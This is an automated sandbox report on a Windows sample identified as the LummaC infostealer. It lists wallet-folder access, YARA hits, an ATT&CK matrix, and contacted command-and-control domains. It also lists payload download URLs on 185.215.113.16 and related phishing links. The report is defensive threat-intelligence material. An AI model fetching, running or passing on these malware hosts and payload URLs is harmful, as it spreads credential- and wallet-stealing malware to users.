Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2262456548.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2261933260.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6228, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6228, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	50%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://atten-supporse.biz/J	100%	Avira URL Cloud	malware
https://atten-supporse.biz/;	100%	Avira URL Cloud	malware
https://atten-supporse.biz/z	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	104.21.112.1	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
dare-curbys.biz	false	high
impend-differ.biz	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
formy-spill.biz	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_108.7.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/B	file.exe, 00000000.00000003.2233249694.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233838808.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_108.7.dr	false		high
https://atten-supporse.biz/J	file.exe, 00000000.00000003.2233249694.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233838808.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/Q	file.exe, 00000000.00000003.2286497434.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286557719.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304533965.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_108.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_89.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_108.7.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_108.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_108.7.dr, chromecache_109.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://github.com/gewarren	chromecache_108.7.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2235610135.00000000057C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://www.mozilla.or	file.exe, 00000000.00000003.2235558269.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/;	file.exe, 00000000.00000003.2156936347.0000000000F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_108.7.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_108.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_108.7.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://aka.ms/certhelp	chromecache_100.7.dr, chromecache_89.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2548540274.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_108.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_108.7.dr	false		high
https://schema.org	chromecache_89.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2235610135.00000000057C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_108.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_108.7.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.2421216239.0000000000F81000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://github.com/adegeo	chromecache_108.7.dr	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_100.7.dr, chromecache_89.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2234310380.00000000056EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://atten-supporse.biz:443/api	file.exe, 00000000.00000002.2548540274.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_100.7.dr, chromecache_89.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2548325280.00000000009CA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000002.2548540274.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_108.7.dr	false		high
https://atten-supporse.biz/q	file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	file.exe, 00000000.00000003.2183169174.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421099126.0000000000FA4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233249694.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2340622891.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286497434.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286593609.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2286557719.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233838808.00000000056B8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2421233661.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_100.7.dr, chromecache_89.7.dr	false		high
http://crl.microx	file.exe, 00000000.00000003.2261933260.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2340582124.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262456548.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183169174.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156569902.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290277946.0000000000F76000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2183430140.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183504508.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_100.7.dr, chromecache_89.7.dr	false		high
https://atten-supporse.biz/y	file.exe, 00000000.00000003.2291708986.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/z	file.exe, 00000000.00000003.2233249694.00000000056B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233838808.00000000056B8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.112.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572115
Start date and time:	2024-12-10 06:37:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/61@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 23.218.210.69, 172.217.19.238, 64.233.162.84, 172.217.21.35, 184.30.22.94, 172.217.17.78, 172.217.17.46, 172.217.19.202, 142.250.181.106, 142.250.181.74, 172.217.17.74, 142.250.181.138, 172.217.21.42, 172.217.19.170, 172.217.17.42, 216.58.208.234, 172.217.19.234, 2.19.198.56, 23.32.238.130, 172.217.17.67, 13.107.246.63, 4.245.163.56, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:38:02	API Interceptor	44x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is consistent with Microsoft's branding for educational or documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.112.1	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://jet.cloudhostingworks.com/CetQr/	Get hash	malicious	HTMLPhisher	Browse
	https://www.cursogratisroleta.com.br/apssessse	Get hash	malicious	Unknown	Browse
239.255.255.250	http://228248301.318066806.953596959.876699408.visitorchecking.ru/?ws=396336942.798836572.246394248.685018301	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse
	https://businessnotice.org/dhl/22450156620/tracking?u=84775-c0bf6be57168918ea5fe039631be6c3a772f4fac11292328fca4a210ba0e8890	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	http://email.edms.trackingmore.com/c/eJx0zrFuhDAMgOGnCWPE2YHAkKELr4FsxwF05EBJWun69JU6den8D_8XQz88mKXT8PCICDi6udsDJB44oUuePHiZGCABe0UvMAlP3RGGSSHOI4w--d7NiUdBAlQPKglkNq7Pb9sKyfN4bfkqauXK3Rn21m6DHwYWA0usZKlGu50X03lT2-tOJ1mNn_Z1G1hK7PJ7zVorbboe8Y9z_T7kWS7W0tD1xvVbpuP8vZTwf_sK8BMAAP__3p9Nvw#4UjjVf19156dXgi477henjyiztuh1607QELNKWKBNFUHFFI32RLCJ32096s9/84502vqz	Get hash	malicious	Phisher	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	13.107.246.63
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://228248301.318066806.953596959.876699408.visitorchecking.ru/?ws=396336942.798836572.246394248.685018301	Get hash	malicious	Unknown	Browse	172.67.134.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse	104.21.25.129
	https://businessnotice.org/dhl/22450156620/tracking?u=84775-c0bf6be57168918ea5fe039631be6c3a772f4fac11292328fca4a210ba0e8890	Get hash	malicious	Unknown	Browse	104.17.245.203
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.64.1
